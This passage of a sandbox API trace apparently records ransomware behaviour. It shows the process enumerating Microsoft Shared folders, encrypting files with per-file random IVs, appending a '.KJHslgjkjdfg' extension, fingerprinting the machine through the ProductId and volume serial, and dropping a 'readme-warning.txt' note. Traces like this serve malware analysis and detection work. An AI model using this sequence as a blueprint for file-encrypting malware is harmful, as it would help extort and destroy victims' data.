pbBuffer=0x2bdd90) returned 1 [0144.323] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0144.323] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0144.330] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.330] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.330] GetProcessHeap () returned 0x2a0000 [0144.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.330] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0144.330] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.330] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0144.330] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0144.330] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0144.331] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0144.331] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0144.331] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0144.331] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0144.331] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.331] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.331] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x482ef, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x482ef, lpOverlapped=0x0) returned 1 [0144.354] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x482f0, dwBufLen=0x482f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x482f0) returned 1 [0144.358] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.358] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x482f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x482f0, lpOverlapped=0x0) returned 1 [0144.359] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x483c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.359] SetEndOfFile (hFile=0x114) returned 1 [0144.362] GetProcessHeap () returned 0x2a0000 [0144.362] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.362] GetProcessHeap () returned 0x2a0000 [0144.363] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.kjhslgjkjdfg")) returned 1 [0144.363] CloseHandle (hObject=0x114) returned 1 [0144.367] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0144.367] GetProcessHeap () returned 0x2a0000 [0144.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.368] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0144.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.368] GetProcessHeap () returned 0x2a0000 [0144.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0144.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.368] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0144.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.368] GetProcessHeap () returned 0x2a0000 [0144.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0144.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.368] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0144.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.368] GetProcessHeap () returned 0x2a0000 [0144.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0144.368] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.368] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0144.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.368] GetProcessHeap () returned 0x2a0000 [0144.368] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.369] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.369] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ec88 | out: pbData=0x2c1640, pdwDataLen=0x290ec88) returned 1 [0144.369] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.369] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0144.369] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0144.369] RegCloseKey (hKey=0x114) returned 0x0 [0144.369] GetProcessHeap () returned 0x2a0000 [0144.369] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0144.369] GetProcessHeap () returned 0x2a0000 [0144.369] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.369] GetProcessHeap () returned 0x2a0000 [0144.369] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.369] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0144.369] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea5c | out: pbData=0x2c1640, pdwDataLen=0x290ea5c) returned 1 [0144.369] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0144.369] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.370] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.370] GetProcessHeap () returned 0x2a0000 [0144.370] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.370] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.370] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.370] GetProcessHeap () returned 0x2a0000 [0144.370] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f5720 [0144.370] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\readme-warning.txt") returned 71 [0144.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0144.372] WriteFile (in: hFile=0x114, lpBuffer=0x2f5720*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f5720*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0144.373] CloseHandle (hObject=0x114) returned 1 [0144.374] GetProcessHeap () returned 0x2a0000 [0144.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0144.374] GetProcessHeap () returned 0x2a0000 [0144.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5720 | out: hHeap=0x2a0000) returned 1 [0144.374] GetProcessHeap () returned 0x2a0000 [0144.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0144.374] GetProcessHeap () returned 0x2a0000 [0144.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.374] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0144.375] GetProcessHeap () returned 0x2a0000 [0144.375] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0144.375] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0144.375] GetProcessHeap () returned 0x2a0000 [0144.375] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0144.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0144.384] GetProcessHeap () returned 0x2a0000 [0144.384] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0144.384] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0144.384] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0144.384] GetProcessHeap () returned 0x2a0000 [0144.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2c7d48 [0144.384] GetProcessHeap () returned 0x2a0000 [0144.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2ef2d8 [0144.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0144.386] GetProcessHeap () returned 0x2a0000 [0144.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0144.386] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0144.386] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0144.386] GetProcessHeap () returned 0x2a0000 [0144.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28e) returned 0x2f32d0 [0144.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0144.386] GetProcessHeap () returned 0x2a0000 [0144.386] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.386] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.386] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0144.386] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0144.392] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0144.392] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.392] GetProcessHeap () returned 0x2a0000 [0144.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.392] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0144.392] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0144.393] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0144.393] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0144.393] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0144.393] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0144.393] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0144.393] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0144.393] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0144.393] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.393] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.393] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2cc7, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2cc7, lpOverlapped=0x0) returned 1 [0144.394] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2cd0, dwBufLen=0x2cd0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2cd0) returned 1 [0144.394] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.395] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2cd0, lpOverlapped=0x0) returned 1 [0144.395] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0144.395] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.395] SetEndOfFile (hFile=0x118) returned 1 [0144.398] GetProcessHeap () returned 0x2a0000 [0144.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.398] GetProcessHeap () returned 0x2a0000 [0144.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.kjhslgjkjdfg")) returned 1 [0144.412] CloseHandle (hObject=0x118) returned 1 [0144.413] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0144.413] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0144.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0144.414] GetProcessHeap () returned 0x2a0000 [0144.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.414] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.414] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0144.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0144.414] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.414] GetProcessHeap () returned 0x2a0000 [0144.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.414] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0144.414] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0144.415] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0145.054] WriteFile 